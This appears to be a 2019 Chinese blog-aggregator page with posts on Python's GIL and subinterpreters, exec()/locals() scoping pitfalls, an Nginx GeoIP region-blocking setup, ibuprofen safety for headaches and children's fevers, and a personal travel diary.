需要声明一下,书单中都是已出版的中文书籍,都能在豆瓣上找到条目,除了这些,网上还有很多不错的入门书籍,例如《A Byte of Python》这本书的中文译本《简明Python教程》、Python 之父参与编写的《Python Tutorial》、知乎编辑整理的《编程小白学 Python》等等,无法一一罗列,但都可以作为参考之选。
另外,以上书名的排序并不代表着推荐度的排序,已附上了豆瓣链接,建议你进入相应条目查看评分与评论,再做选择。
我的建议是:先查阅相关介绍与评价,然后选择一两本来试读,如果阅读过程不顺畅,就换掉它,如果进展顺利的话,可以考虑再速看几本,交叉阅读,查漏补缺。
如果你对这份书单有什么意见,例如建议补录某本书、分享对某本书的看法、补充学习资源、提供建立后续书单的建议,等等,欢迎给我留言。
往期荐书回顾:
第二期:《Python最佳实践指南
第三期:《黑客与画家
第四期:《Python源码剖析
第五期:《Python高性能编程
第六期:《深度学习

May 26, 2019 12:00 AM

May 19, 2019

pythoncat

GIL 已经被杀死了么?

Python 中最广为人诟病的一点,大概就是它的 GIL 了。由于 GIL 的存在,Python 无法实现真正的多线程编程,因此很多人都把这视作 Python 最大的软肋。
PEP-554 提出后(2017年9月),大伙似乎看到了一线改善的曙光。然而,GIL 真的可以被彻底杀死么,如果可以的话,它会怎么实现呢,为什么等了一年多还没实现,仍需要我们等待多长时间呢?

作者 | Anthony Shaw
译者 | 豌豆花下猫
声明 :本文获得原作者授权翻译,转载请保留原文出处,请勿用于商业或非法用途。
2003 年初,Intel 公司推出了全新的奔腾 4 “HT” 处理器,该处理器的主频(译注:CPU 内核工作的时钟频率)为 3 GHz,采用了“超线程”技术。
在接下来的几年中,Intel 和 AMD 激烈竞争,通过提高总线速度、L2 缓存大小和减小芯片尺寸以最大限度地减少延迟,努力地实现最佳的台式机性能。3Ghz 的 HT 在 2004 年被“Prescott”的 580 型号取代,该型号的主频高达 4 GHz。
似乎提升性能的最好方法就是提高处理器的主频,但 CPU 却受到高功耗和散热会影响全球变暖的困扰。
你电脑上有 4Ghz 的 CPU 吗?不太可能,因为性能的前进方式是更高的总线速度和更多的内核。Intel 酷睿 2 代在 2006 年取代了奔腾 4 ,主频远低于此。
除了发布消费级的多核 CPU,2006 年还发生了其它事情,Python 2.5 发布了!Python 2.5 带来了人见人爱的 with 语句的 beta 版本 。
在使用 Intel 的酷睿 2 或 AMD 的 Athlon X2 时,Python 2.5 有一个重要的限制——GIL

什么是 GIL?

GIL 即全局解释器锁(Global Interpreter Lock),是 Python 解释器中的一个布尔值,受到互斥保护。这个锁被 CPython 中的核心字节码用来评估循环,并调节用来执行语句的当前线程。
CPython 支持在单个解释器中使用多线程,但线程们必须获得 GIL 的使用权才能执行操作码(做低级操作)。这样做的好处是,Python 开发人员在编写异步代码或多线程代码时,完全不必操心如何获取变量上的锁,也不需担心进程因为死锁而崩溃。
GIL 使 Python 中的多线程编程变得简单。
GIL 还意味着虽然 CPython 可以是多线程的,但在任何给定的时间里只能执行 1 个线程。这意味着你的四核 CPU 会像上图一样工作 (减去蓝屏,但愿如此)。
当前版本的 GIL 是在2009年编写的 【2】,用于支持异步功能,几乎没被改动地存活了下来,即使曾经多次试图删除它或减少对它的依赖。
所有提议移除 GIL 的诉求是,它不应该降低单线程代码的性能。任何曾在 2003 年启用超线程(Hyper-Threading)的人都会明白为什么 这很重要 【3】。

在 CPython 中避免使用 GIL

如果你想在 CPython 中使用真正的并发代码,则必须使用多进程。
在 CPython 2.6 中,标准库里增加了 multiprocessing 模块。multiprocessing 是 CPython 大量产生的进程的包装器(每个进程都有自己的GIL)——
from multiprocessing import Process

def f(name):
    print 'hello', name

if __name__ == '__main__':
    p = Process(target=f, args=('bob',))
    p.start()
    p.join()
进程可以从主进程中“孵出”,通过编译好的 Python 模块或函数发送命令,然后重新纳入主进程。
multiprocessing 模块还支持通过队列或管道共享变量。它有一个 Lock 对象,用于锁定主进程中的对象,以便其它进程能够写入。
多进程有一个主要的缺陷:它在时间和内存使用方面的开销很大。CPython 的启动时间,即使没有非站点(no-site),也是 100-200ms(参见 这个链接 【4】)。
因此,你可以在 CPython 中使用并发代码,但是你必须仔细规划那些长时间运行的进程,这些进程之间极少共享对象。
另一种替代方案是使用像 Twisted 这样的三方库。

PEP-554 与 GIL 的死亡?

小结一下,CPython 中使用多线程很容易,但它并不是真正的并发,多进程虽然是并发的,但开销却极大。
有没有更好的方案呢?
绕过 GIL 的线索就在其名称中,全局 解释器 锁是全局解释器状态的一部分。 CPython 的进程可以有多个解释器,因此可以有多个锁,但是此功能很少使用,因为它只通过 C-API 公开。
在为 CPython 3.8 提出的特性中有个 PEP-554,提议实现子解释器(sub-interpreter),以及在标准库中提供一个新的带有 API 的 interpreters 模块。
这样就可以在 Python 的单个进程中创建出多个解释器。Python 3.8 的另一个改动是解释器都将拥有单独的 GIL ——
因为解释器的状态包含内存分配竞技场(memory allocation arena),即所有指向 Python 对象(局地和全局)的指针的集合,所以 PEP-554 中的子解释器无法访问其它解释器的全局变量。
与多进程类似,在解释器之间共享对象的方法是采用 IPC 的某种形式(网络、磁盘或共享内存)来做序列化。在 Python 中有许多方法可以序列化对象,例如 marshal 模块、 pickle 模块、以及像 jsonsimplexml 这样更标准化的方法 。这些方法褒贬不一,但无一例外会造成额外的开销。
最佳方案是开辟一块共享的可变的内存空间,由主进程来控制。这样的话,对象可以从主解释器发送,并由其它解释器接收。这将是 PyObject 指针的内存管理空间,每个解释器都可以访问它,同时由主进程拥有对锁的控制权。
这样的 API 仍在制定中,但它可能如下所示:
import _xxsubinterpreters as interpreters
import threading
import textwrap as tw
import marshal

# Create a sub-interpreter
interpid = interpreters.create()

# If you had a function that generated some data
arry = list(range(0,100))

# Create a channel
channel_id = interpreters.channel_create()

# Pre-populate the interpreter with a module
interpreters.run_string(interpid, "import marshal; import _xxsubinterpreters as interpreters")

# Define a
def run(interpid, channel_id):
    interpreters.run_string(interpid,
                            tw.dedent("""
        arry_raw = interpreters.channel_recv(channel_id)
        arry = marshal.loads(arry_raw)
        result = [1,2,3,4,5] # where you would do some calculating
        result_raw = marshal.dumps(result)
        interpreters.channel_send(channel_id, result_raw)
        """),
               shared=dict(
                   channel_id=channel_id
               ),
               )

inp = marshal.dumps(arry)
interpreters.channel_send(channel_id, inp)

# Run inside a thread
t = threading.Thread(target=run, args=(interpid, channel_id))
t.start()

# Sub interpreter will process. Feel free to do anything else now.
output = interpreters.channel_recv(channel_id)
interpreters.channel_release(channel_id)
output_arry = marshal.loads(output)

print(output_arry)
此示例使用了 numpy ,并通过使用 marshal 模块对其进行序列化来在通道上发送 numpy 数组 ,然后由子解释器来处理数据(在单独的 GIL 上),因此这会是一个计算密集型(CPU-bound)的并发问题,适合用子解释器来处理。

这看起来效率低下

marshal 模块相当快,但仍不如直接从内存中共享对象那样快。
PEP-574 提出了一种新的 pickle 【5】协议(v5),它支持将内存缓冲区与 pickle 流的其余部分分开处理。对于大型数据对象,将它们一次性序列化,再由子解释器反序列化,这会增加很多开销。
新的 API 可以( 假想 ,并没有合入)像这样提供接口:
import _xxsubinterpreters as interpreters
import threading
import textwrap as tw
import pickle

# Create a sub-interpreter
interpid = interpreters.create()

# If you had a function that generated a numpy array
arry = [5,4,3,2,1]

# Create a channel
channel_id = interpreters.channel_create()

# Pre-populate the interpreter with a module
interpreters.run_string(interpid, "import pickle; import _xxsubinterpreters as interpreters")

buffers=[]

# Define a
def run(interpid, channel_id):
    interpreters.run_string(interpid,
                            tw.dedent("""
        arry_raw = interpreters.channel_recv(channel_id)
        arry = pickle.loads(arry_raw)
        print(f"Got: {arry}")
        result = arry[::-1]
        result_raw = pickle.dumps(result, protocol=5)
        interpreters.channel_send(channel_id, result_raw)
        """),
                            shared=dict(
                                channel_id=channel_id,
                            ),
                            )

input = pickle.dumps(arry, protocol=5, buffer_callback=buffers.append)
interpreters.channel_send(channel_id, input)

# Run inside a thread
t = threading.Thread(target=run, args=(interpid, channel_id))
t.start()

# Sub interpreter will process. Feel free to do anything else now.
output = interpreters.channel_recv(channel_id)
interpreters.channel_release(channel_id)
output_arry = pickle.loads(output)

print(f"Got back: {output_arry}")

这看起来像极了很多样板

确实,这个例子使用的是低级的子解释器 API。如果你使用了多进程库,你将会发现一些问题。它不像 threading 那么简单,你不能想着在不同的解释器中使用同一串输入来运行同一个函数(目前还不行)。
一旦合入了这个 PEP,我认为 PyPi 中的其它一些 API 也会采用它。

子解释器需要多少开销?

简版回答 :大于一个线程,少于一个进程。
详版回答 :解释器有自己的状态,因此虽然 PEP-554 可以使创建子解释器变得方便,但它还需要克隆并初始化以下内容:
  • main 命名空间与 importlib 中的模块
  • sys 字典的内容
  • 内置的方法(print、assert等等)
  • 线程
  • 核心配置
核心配置可以很容易地从内存克隆,但导入的模块并不那么简单。在 Python 中导入模块的速度很慢,因此,如果每次创建子解释器都意味着要将模块导入另一个命名空间,那么收益就会减少。

那么 asyncio 呢?

标准库中 asyncio 事件循环的当前实现是创建需要求值的帧(frame),但在主解释器中共享状态(因此共享 GIL)。
在 PEP-554 被合入后,很可能是在 Python 3.9,事件循环的替代实现 可能 是这样(尽管还没有人这样干):在子解释器内运行 async 方法,因此会是并发的。

听起来不错,发货吧!

额,还不可以。
因为 CPython 已经使用单解释器的实现方案很长时间了,所以代码库的许多地方都在使用“运行时状态”(Runtime State)而不是“解释器状态”(Interpreter State),所以假如要将当前的 PEP-554 合入的话,将会导致很多问题。
例如,垃圾收集器(在 3.7 版本前)的状态就属于运行时。
PyCon sprint 期间(译注:PyCon 是由 Python 社区举办的大型活动,作者指的是官方刚在美国举办的这场,时间是2019年5月1日至5月9日。sprint 是为期 1-4 天的活动,开发者们自愿加入某个项目,进行“冲刺”开发。该词被敏捷开发团队使用较多,含义与形式会略有不同),更改已经开始 【6】将垃圾收集器的状态转到解释器,因此每个子解释器将拥有它自己的 GC(本该如此)。
另一个问题是在 CPython 代码库和许多 C 扩展中仍残存着一些“全局”变量。因此,当人们突然开始正确地编写并发代码时,我们可能会遭遇到一些问题。
还有一个问题是文件句柄属于进程,因此当你在一个解释器中读写一个文件时,子解释器将无法访问该文件(不对 CPython 作进一步更改的话)。
简而言之,还有许多其它事情需要解决。

结论:GIL 死亡了吗?

对于单线程的应用程序,GIL 仍然存活。因此,即便是合并了 PEP-554,如果你有单线程的代码,它也不会突然变成并发的。
如果你想在 Python 3.8 中使用并发代码,那么你就会遇到计算密集型的并发问题,那么这可能是张入场券!

什么时候?

Pickle v5 和用于多进程的共享内存可能是在 Python 3.8(2019 年 10 月)实现,子解释器将介于 3.8 和 3.9 之间。
如果你现在想要使用我的示例,我已经构建了一个分支,其中包含所有 必要的代码 【7】

References

[5] PEP-574 提出了一种新的 pickle : https://www.python.org/dev/peps/pep-0574/

May 19, 2019 12:00 AM

May 16, 2019

pythoncat

当 Python 中混进一只薛定谔的猫……

Python 是一门强大的动态语言,那动态体现在哪里,强大又体现在哪里呢?除了好的方面,Python 的动态性是否还藏着一些使用陷阱呢,有没有办法识别与避免呢?
沿着它的动态特性话题,猫哥有几篇文章依次探及了:动态修改变量、动态定义函数、动态执行代码等内容,然而,当混合了变量赋值、动态赋值、命名空间、作用域、函数的编译原理等等内容时,问题就可能会变得非常棘手。
因此,这篇文章将前面一些内容融汇起来,再做一次延展的讨论,希望能够理清一些使用的细节,更深入地探索 Python 语言的奥秘。

(1)疑惑重重的例子

先看看这一个例子:
# 例0
def foo():
    exec('y = 1 + 1')
    z = locals()['y']
    print(z)
    
foo()

# 输出:2
exec() 函数的代码块中定义了变量 y,这个值可以被随后的 locals() 取到,在赋值后也打印了出来。然而,在这个例子的基础上,只需做出小小的改变,结果就可能大不相同了。
# 例1
def foo():
    exec('y = 1 + 1')
    y = locals()['y']
    print(y)
    
foo()

# 报错:KeyError: 'y'
把前例的 z 改为 y ,就报错了。其中,KeyError 指的是在字典中不存在对应的 key 。为什么会这样呢,新赋值的变量是 y 或者 z,为什么对结果有这么不同的影响?
试试把 exec 去掉,不报错!
# 例2
def foo():
    y = 1 + 1
    y = locals()['y']
    print(y)

foo()

# 2
问题:直接对 y 赋值,跟动态地在 exec() 中赋值,会对 locals() 取值产生怎样的影响?
再试试对例 1 的 locals() 先赋值,还是报错:
# 例3
def foo():
    exec('y = 1 + 1')
    boc = locals()
    y = boc['y']
    print(y)
 
foo()

# KeyError: 'y'
先做一次赋值,难道没有用么?也不是,如果把赋值的顺序调前,就不报错了:
# 例4
def foo():
    boc = locals()
    exec('y = 1 + 1')
    y = boc['y']
    print(y)

foo()

# 2
也就是说,locals() 的值并不是固定的,它的值与调用时的上下文相关,调用 locals() 的时机至关重要。
然而,如果想要验证一下,在函数中增加一个 locals() 的打印,这个动作却会影响到最终的执行结果。
# 例5
def foo():
    boc = locals()
    exec('y = 1 + 1')
    print(locals())
    y = boc['y']
    print(y)

foo()

# {'boc': {...}}
# KeyError: 'y'
这到底是怎么回事呢?

(2)多元知识的储备

以上例子在细微之处有较大的不同,主要由于以下知识点的影响:
1、变量的声明与赋值
2、locals() 取值与修改的逻辑
3、locals() 字典与局部命名空间的关系
4、函数的编译,抽象语法树的解析
注意:exec() 函数有两个缺省的参数 globals() 与 locals() (与内置函数同名),起的是限定字符串参数中变量的作用,若添加出来,只会增加以上例子的复杂度,因此,我们都做缺省处理,这里讨论的是 exec() 只有一个参数的情况。
在某些编程语言中,变量的声明与赋值是可以分开的,例如在声明时写 int a ,需要赋值时,再写 a = 1 ,当然也可不拆分,则是 int a = 1
对应到 Python 中,情况就不同了,这两个动作在书写时是合二为一的。首先它不用指定变量的类型,任何时候都不需要(也不能)在变量前加类型(如 int),其次,声明与赋值过程无法拆分书写,即只能写成 a = 1 这样。看起来它跟其它语言的赋值写法一样,但实际上,它的效果是 int a = 1
这虽然是一种便利,但也隐藏了一个不易察觉的陷阱(划重点):当看到 a = 1 时,你无法确定 a 是初次声明的,还是已被声明过的。
关于 locals() 的创建过程,在《Python 动态赋值的陷阱》文中有所分析,locals() 字典是局部命名空间的代理,它会采集局部作用域的变量,代码运行期若动态修改局部变量,只会影响该字典,并不会影响真正的局部作用域的变量。因此,当再次调用 locals() 时,由于重新采集,则动态修改的内容会被丢弃。
运行期的局部命名空间不可改变,这意味着 exec() 函数中的变量赋值不会对它产生影响,但 locals() 字典是可变的,会受到 exec() 函数的影响。
而关于函数的编译,我在《Python与家国天下》中写到了对 抽象语法树 的分析,Python 在编译时就确定了局部作用域内合法的变量名,在运行时再与内容绑定。作用域内变量的解析跟它的执行顺序无关,更与是否会被执行无关。

(3)薛定谔的猫

以上内容是前提,友情提示,如你有理解模糊之处,请先阅读对应的文章。接下来则是基于这些内容而作的分析。
我不敢保证每个细节都准确无误,但这个分析力求达到深入浅出、面面俱到、逻辑自恰,而且顺便幽默有趣……
例 0 中,局部作用域内虽然没有 ‘y’,但 exec() 函数动态创建了它,因此动态地写入了 locals() 字典中,所以能查找到而不报错。
例 1 中,exec() 不影响局部作用域,即此时 y 未在局部作用域内做过声明与赋值,接下来的一句才是第一次在局部作用域中对 y 作声明与赋值
y = locals()['y'] ,等号左侧在做声明,只要等号右侧的结果成立,整个声明与赋值的过程就成立。右侧需在 locals() 字典中查找 y 对应的值。
在创建 locals() 字典时,由于局部作用域内有变量 y 的声明,因此我们首先在其中采集到了 y,而不必在 exec() 函数的动态结果中查找。这就有了字典的一个 key,接着要匹配这个 key 对应的值,也即 y 所绑定的值。
但是,刚才说了这是 y 的第一次赋值,并未完成呢,因此 y 并无有效的绑定值。
矛盾出现了,这里有点绕,我们理一下:左侧的 y 等着完成赋值,因此需要右侧的执行结果;而右侧的字典需要使用到 y 的值,因此就依赖着左侧的 y 完成赋值。两边的操作都未完成,但双方都需要依赖对方先完成,这是个无法破解的死局。
可以说,y 的值是一团混沌,它必然等于 “locals()[‘y’]” ,然而只有解开这团代码才能确切得到结果——只有打开笼子才知道结果,你是否想到了薛定谔的那只猫呢?
locals() 字典虽然拿到了 y 的名,却拿不到它的实,空欢喜一场,所以报 KeyError。
例 3 同理,未完成赋值就使用,所以报错。
例 2 中,y 在二次赋值的过程时,局部命名空间中已经存在着有效的 y 等于 2,因此 locals() 查找到它而用于赋值,所以不报错。
至于例 4,它跟例 3 只差了一个执行顺序,为什么不会报错呢?还有更奇怪的,在例 4 上再加一个打印(例5),理应不会影响结果,可事实却是又报错了,为什么?
例 4 中,boc = locals() 这句同样存在循环引用的问题,因此执行后的字典中没有 y,接着 exec() 这句动态地修改了 locals(),执行后 boc 的结果是 {‘y’ : 2},因此再下一句的 boc[‘y’] 能查找到结果,而不报错。
例 4 与例 3 的 ”y = boc[‘y’]“ ,虽然都是第一次在局部作用域中声明与赋值 y,但例 4 的 boc 已被 exec() 修改过,因此它能取到实实在在的值,就不再有循环引用的问题了。
接着看例 5,第一个 locals() 还是存在循环引用现象,接着 exec() 往字典中写入变量 y,但是,第二个 locals() 又触发了新的创建字典过程,会把 exec() 的执行结果覆盖,因此进入第二轮循环引用,导致报错。
例 5 与例 4 的不同在于,它是根据局部作用域重新生成的字典,其效果等同于例 3。
另外,请特别注意打印的结果:{‘boc’: {…}}
这个结果说明,第二个 locals() 是一个字典,而且它只有唯一的 key 是 ’boc‘,而 ’boc‘ 映射的是第一个 locals() 字典,也即是 {…} 。这个写法表示它内部出现了循环引用,直观地证实了前面的所有分析。
字典内部出现循环引用 ,这个现象极其罕见!前面虽然做了分析,但看到这里的时候,不知道你是否觉得不可思议?
之所以第一次的循环引用能被记录下来,原因在于我们没有试图去取出 ’y‘ 的值,而第二个循环引用则由于取值报错而无法记录下来。
这个例子告诉大家:薛定谔的猫混入了 Python 的字典中,而且答案是,打开笼子,这只猫就会死亡。
字典的循环引用现象在几个例子中扮演了极其重要的角色,但是往往被人忽视。之所以难以被人觉察,原因还是前面划重点的内容:当看到 a = 1 时,你无法确定 a 是初次声明的,还是已被声明过的。
在《Python与家国天下》文中,猫哥分析了两类经典的报错:name ‘x’ is not defined、local variable ‘x’ referenced before assignment。它们通常也是由于声明与赋值不分,而导致的失察。
本文中的 KeyError 实际上就是 “local variable ‘y’ referenced before assignment”,y 已 defined 而未 assigned,导致 reference 时报错。
已赋值还是未赋值,这是个问题。也是一只猫。
最后,尽管这只猫在暗中捣了大乱,我们还是要感谢它:感谢它串联了其它知识被我们“一锅端”,感谢它为这篇抽象烧脑的文章挠出了几分活泼生动的趣味……(以及,感谢它带来的标题灵感,不知道有多少人是冲着标题而阅读的?)

后记

本文中的几个例子早在 3 月 24 日就想到了,但我没法给自己一套完全满意的解答。在与群内小伙伴们陆续讨论了一整个下午后,我依然不满足,最终打消了写入《深度辨析 Python 的 eval() 与 exec()》这篇文章的念头。两个月来,群内偶尔讨论过几次相关的知识点,感谢好几位同学(特别@樱雨楼)的讨论,我终于觉得时机到了(其实是稿荒啦),把沉睡近两个月的草稿翻出来……如今的分析,我自认为是能说得通,而且关键细节无遗漏的,但仍可能有瑕疵,如果你有什么想交流的,欢迎给我留言。

May 16, 2019 12:00 AM

May 11, 2019

2heng

Nginx + GeoIP 区分用户 IP 归属国

事情的背景是之前为了方便在公用电脑上阅读,在私人网盘上存了几本 O'Reilly 动物书的 PDF 文件,但是没想到被搜索引擎收录,于是最近收到了 O'Reilly 的 DMCA 邮件(估计邮箱是从域名注册商拿到的),因此为了在不妨碍自己使用资源的前提下规避问题,选择阻止中国以外 IP 访问该目录下的资源。

这里使用了 Nginx 的 GeoIP 拓展(ngx_http_geoip_module),在标准版的 Nginx 中我们需要重新把拓展编译进去,但是我使用的 Tengine 可以直接加载动态模块(原版也能直接动态加载模块了)。

首先安装 nginx-module-geoip:

sudo apt-get install nginx-module-geoip

然后下载 IP 数据库并解压,可将解压出来的 GeoIPv6.dat 文件放到你喜欢的任何地方:

# DAT 版数据库官方已不再提供下载,下面的链接是祖传备份
# 详见:https://dev.maxmind.com/geoip/legacy/downloadable/
wget https://cloud.moezx.cc/mirrors/geoip/database/GeoIPv6.dat.gz
gzip -d -k GeoIPv6.dat.gz

# GeoIPv6.dat 覆盖了 IPv4 和 IPv6 的数据,如果仅需 IPv4,使用下面这个文件
wget https://cloud.moezx.cc/mirrors/geoip/database/GeoIP.dat.gz

然后需要下载并编译 ngx_http_geoip_module 模块,编译完成后nginx.conf 中加入如下部分:

# 引入二进制库(仅适用于 Tengine 2.3.0 之前版本,之后版本已移除 dso 指令)
dso {
    load ngx_http_geoip_module.so;
}

# 引入二进制库(适用于原版 Nginx 以及 Tengine 2.3.0 之后版本)
load_module ngx_http_geoip_module.so;

# http 块下添加如下初始化代码
http {
    ···
    geoip_country /path/to/GeoIPv6.dat;
    # 排除对 CDN 等代理服务器的过滤(下面都是 Cloudflare 的服务器 IP)
    geoip_proxy    103.21.244.0/22;
    geoip_proxy    103.22.200.0/22;
    geoip_proxy    103.31.4.0/22;
    geoip_proxy    104.16.0.0/12;
    geoip_proxy    108.162.192.0/18;
    geoip_proxy    131.0.72.0/22;
    geoip_proxy    141.101.64.0/18;
    geoip_proxy    162.158.0.0/15;
    geoip_proxy    172.64.0.0/13;
    geoip_proxy    173.245.48.0/20;
    geoip_proxy    188.114.96.0/20;
    geoip_proxy    190.93.240.0/20;
    geoip_proxy    197.234.240.0/22;
    geoip_proxy    198.41.128.0/17;  
    geoip_proxy    2400:cb00::/32;
    geoip_proxy    2405:8100::/32;
    geoip_proxy    2405:b500::/32;
    geoip_proxy    2606:4700::/32;
    geoip_proxy    2803:f800::/32;
    geoip_proxy    2c0f:f248::/32;
    geoip_proxy    2a06:98c0::/29;
    geoip_proxy_recursive on;
    ···
}

之后就可以在 Server 块中控制访问权限了:

# 写法一:允许部分地区访问
server {
    ···
    set $where_are_you_from 0;
    if ($geoip_country_code = CN) {
        set $where_are_you_from 1;
    }
    location /Document/ {
        default_type text/html;
        charset utf-8;
        if ($where_are_you_from = 0) {
            return 200 'This resource is not available in your country!';
        }
    }
    ···
}

# 写法二:禁止部分地区访问
# 设置变量 $disallowed_country
map $geoip_country_code $disallowed_country {
    default no;
    US yes;
    CN no;
} 
server {
    ···
    location /Document/ {
        default_type text/html;
        charset utf-8;
        if ($disallowed_country) {
            return 200 'This resource is not available in your country!';
        }
    }
    ···
}

学会了吗?

The post Nginx + GeoIP 区分用户 IP 归属国 appeared first on 樱花庄的白猫.

by Mashiro at May 11, 2019 07:54 AM

May 07, 2019

anji66

布洛芬到底能不能吃?也说布洛芬安全用药

某一天,我爱人大概在网上看了个新闻,说布洛芬有毒会吃死人。因为她知道我比较爱看各类新闻,就想知道我有没有看到。当然我第一个反应是布洛芬也能吃死人,这是把布洛芬当饭吃了吧。我也就随口一说这肯定是骗人的。末了,后面几天大量的新闻中出现布洛芬的相关报道。作为一个常年需要自备布洛芬的两种常见制剂的我,不得不去研究下这些新闻的真假。啊,为啥我要常年备布洛芬制剂,并且还是两种。一是我打小就有偏头痛,天气不好或者气压不合适或者劳累很容易诱发头痛,所以芬必得是我的必备药。另外是家有萌娃,少不了感冒发烧,美林也作为常备药。所谓久病成医大概就是这篇文章值得说道的地方了。


关于芬必得和美林

芬必得常用的药名叫布洛芬缓释胶囊,是胶囊制剂,现在我经常买的新头痛装成分是对乙酰氨基酚不是布洛芬是药丸制剂。美林药名是布洛芬悬混液或布洛芬悬混滴剂。这两种药都是非处方药,并且都是甲类非处方药。什么是非处方药,有非处方药必然有处方药。处方药就是需要医生开处方才能买到的药,并且很多社会药店通常买不到的,大量处方药的渠道都是医院药房。非处方药就简单了,不需要医生开处方的,能自己去药店购买的。它又分甲类和乙类,甲类非处方药的标签是红色的OTC,乙类非处方药是绿色的OTC。原则上来说甲类OTC需要在执业药师指导下才能买。乙类就是没药师你也可以买。说这么多废话,简单的理解按药性排列:处方药>甲类非处方药>乙类非处方药>保健品。当然这里面还牵扯到配伍禁忌之类的。相对而言非处方药的配伍禁忌要少了很多很多。

未标题-2.jpg

未标题-3.jpg


关于网上那则新闻的源头

网上已经说的比较明确了,并且找到了相关的源头。这里给出大致的新闻脉络:布洛芬在全美范围内召回 -> 源于美国食药监局也就是FDA的一则公告 -> 公告内容翻译过来就是美国一家药厂生产的布洛芬悬混液的部分批次中布洛芬的含量超标10%,所以企业自主召回 -> 召回的依据是,过高的浓度的布洛芬可能会对婴儿造成不良反应和伤害 -> 不过到目前未知并没有接到这些批次的产生的不良报告。新闻的脉络就是这个样子的。


关于10%的超标会不会造成不良影响

首先美国超标的那种药国内是没有的,并且即便在美国销售的这个超量的布洛芬也没有接到异常报告。这个是我们接下来讨论的前提。国内布洛芬悬混液主要就是博主前面讲的叫美林的小儿退热药。这个是国内强生生产的。其次假设国内买的美林也存在布洛芬超标的情况,假设也超标10%。我们来计算下影响。家里有小朋友的奶爸宝妈一定知道,无论是医生开的美林还是自己买的美林,里面都是有一个滴管的,单位是毫升。药盒子上通常会标注根据对应体重会有不同的毫升用量。我没拍图,网上拉个图看下,比如30斤以内的体重是4毫升的计量。而用过那个滴管或者量杯的应该知道,滴管或量杯是间隔刻度,不是一毫升一个刻度,而是5ml,10ml,15ml类似这样的。所以4毫升只能凭估计比5毫升少一点。而更多的情况是儿童医院医生写的剂量干脆就是5ml,反而更容易把握精度。那么超出1毫升的剂量,换算成百分比就是超量25%了。


布洛芬的安全用药

首先还是说退热作用。无论是布洛芬还是对乙酰氨基酚(泰诺林),这种作为广泛验证过的儿童退热药,药品自身使用的安全性是可以保证的。而不能保证的是作为家长的乱用药。通常医生会说小儿发热38.5度以上需要使用退热药,而38.5度一下基本是采用物理降温的方式。而新晋父母通常一摸孩子头烫赶紧喂退烧药。或者走另一个极端发烧40度还以为没啥屌事,这是很可怕的。

第二布洛芬有镇痛作用。类似博主这样经过系统全面检查也查不出原因的可能跟随我一辈子的偏头痛,女性那些原发性的痛经是可以采用这类镇痛药缓解症状的。而不规范用药的情况就是病变造成的疼痛,或者发炎造成的疼痛使用镇痛药缓解了症状可能会导致对病情的疏忽而耽误治疗,这才要命。


当然这样情景不胜枚举,一言以蔽之:药要对症,遵医嘱!当然博客圈也有好多医务工作者,比如闲鱼大佬响石潭大佬,我就不班门弄斧了,撤!


by 西枫里 at May 07, 2019 06:21 AM

May 05, 2019

pythoncat

5 月 5 日记于合肥

此刻,我坐在安徽合肥的一家“几何书店”里,写下这些文字。
这趟行程是豌豆在一两个月前就定了下来的,事关她的职业发展规划与调整,终于在她裸辞之后的第一周成行。
在多次起心动念,又退缩接受的循环后,她下定了决心裸辞,我也坚定地拥护。
裸辞之后有啥打算呢?不如就好好放松一段时间吧,居家写写稿子。
这趟合肥之行,也是想给未来找点方向。
好巧不巧,非常偶然的时机,她在昨晚得到了一个应聘机会,还挺感兴趣的。
这个机会来自 X 同学的转发。
之所以说非常偶然,是因为我们好久没有联系了,直到昨天,他突然说他也来了苏州,准备在这工作定居。
X 同学是我们在大学的读书会里的好友。好像他最初是学测绘或者水利之类,然后转专业去学的历史,曾在阿里实习过,当产品经理,后来在 TP-Link 工作,上一次有印象他的动态是在东南亚某国出差。
昨天,他突然说也来了苏州工作。
他来这,是因为她的老婆。跟我一样。
于是,D 夫妇与 X 夫妇就约了一起吃饭。
X 夫妇都是江西人,前几年都在深圳工作。他们双双裸辞来了苏州,重新找工作,长远打算是在这边定居的。
X 夫人从小对苏州向往,也是来此定居的主要动因。对话中得知,他们曾去长沙“考察”过,但最终放弃了这个选项。
他们是家中独生子女,成婚一年,未孕育。来苏州,无亲无故(除了刚联系上我们)。
我们对他们的这项果敢的行为都很佩服。
谈论工作,谈论房价和买房地点,谈论很接近的云南旅游,谈论食物,谈论业余生活。
豌豆评价说,他们是她近一年里遇到的最有趣/有意思的人。这次交谈很开心。
他们建议,如果我们还不想生小孩的话,可以考虑去深圳或者广州找工作,换个城市生活。
我当然没有此打算——除非豌豆想去。
X 同学说了句,在一家公司工作一年就觉得很长了。但他又说,在某某地方买房,不住就出租,只需要二十年就可以回本。
这大概就是“时间相对论”吧。时间可长可短。
他们都是率性而为的人。
我们倒显得顾虑重重。
我很多时候保守得像个七零后,而豌豆跨出了她九零后的一步。
这趟合肥之行,不知能给我们的工作/事业带来什么影响。
对水沉默,人生几何。
在来的路上,我开玩笑说,几何书店的“几何”肯定不是数学上的“几何”,而是对酒当歌人生几何的“几何”。
几何几何,不知几何?
昨天饭桌上,她们都说更喜欢城市,喜欢人多热闹的地方。
我相反,更喜欢人少的自然风光,像山川河流、原始森林、飞禽走兽。而且喜欢看纪录片,而不是亲身而往。
这种喜好当然是品性的折射,但很微妙。
来了合肥,我观察到几件小事。
我们坐的 4 路公交车上,竟然有 4 个门,除了常见的右侧两个,它的左侧也有。这意味着这里的车,有时候是靠左侧停的?
第二件,这里有些车站不是在路边,而是在路中央,公交车行内侧车道,乘客下车后先上天桥,再选择下去的方向。
第三件,空中白絮纷飞,我快速反应这是柳絮,然而看看路边,一棵柳树都没有,再看看源头,那是一种很像法国梧桐的树,但还无法确认。
白絮纷纷从树上落下,我想起第一次看到这样的场景是在十几年前的一棵木棉树下。后来,这个图景被替换成了柳树。再如今,它换成了一个新的树种。
昨天我们聊到了城市间迁移的话题。
豌豆开玩笑说,苏州这个地方就像围城,有的人想进来,有的人在想出去。
最后我们没有深入讨论怎么与围城长久共处的内容。
现在坐在书店里,我突然发觉,这是关于“走出去与走进来”的问题。
城市也罢,工作也罢,记忆也罢,习性也罢,爱情也罢,梦境也罢,不都是“走出去与走进来”么?
需要一个角度审视,需要一个偏离的位置来获得角度,需要一个迁移的行动来进入新的位置。
2019.05.05,豆花记录于合肥几何书店。

May 05, 2019 12:00 AM

May 02, 2019

pythoncat

听说苏州是互联网的荒漠,真的吗?

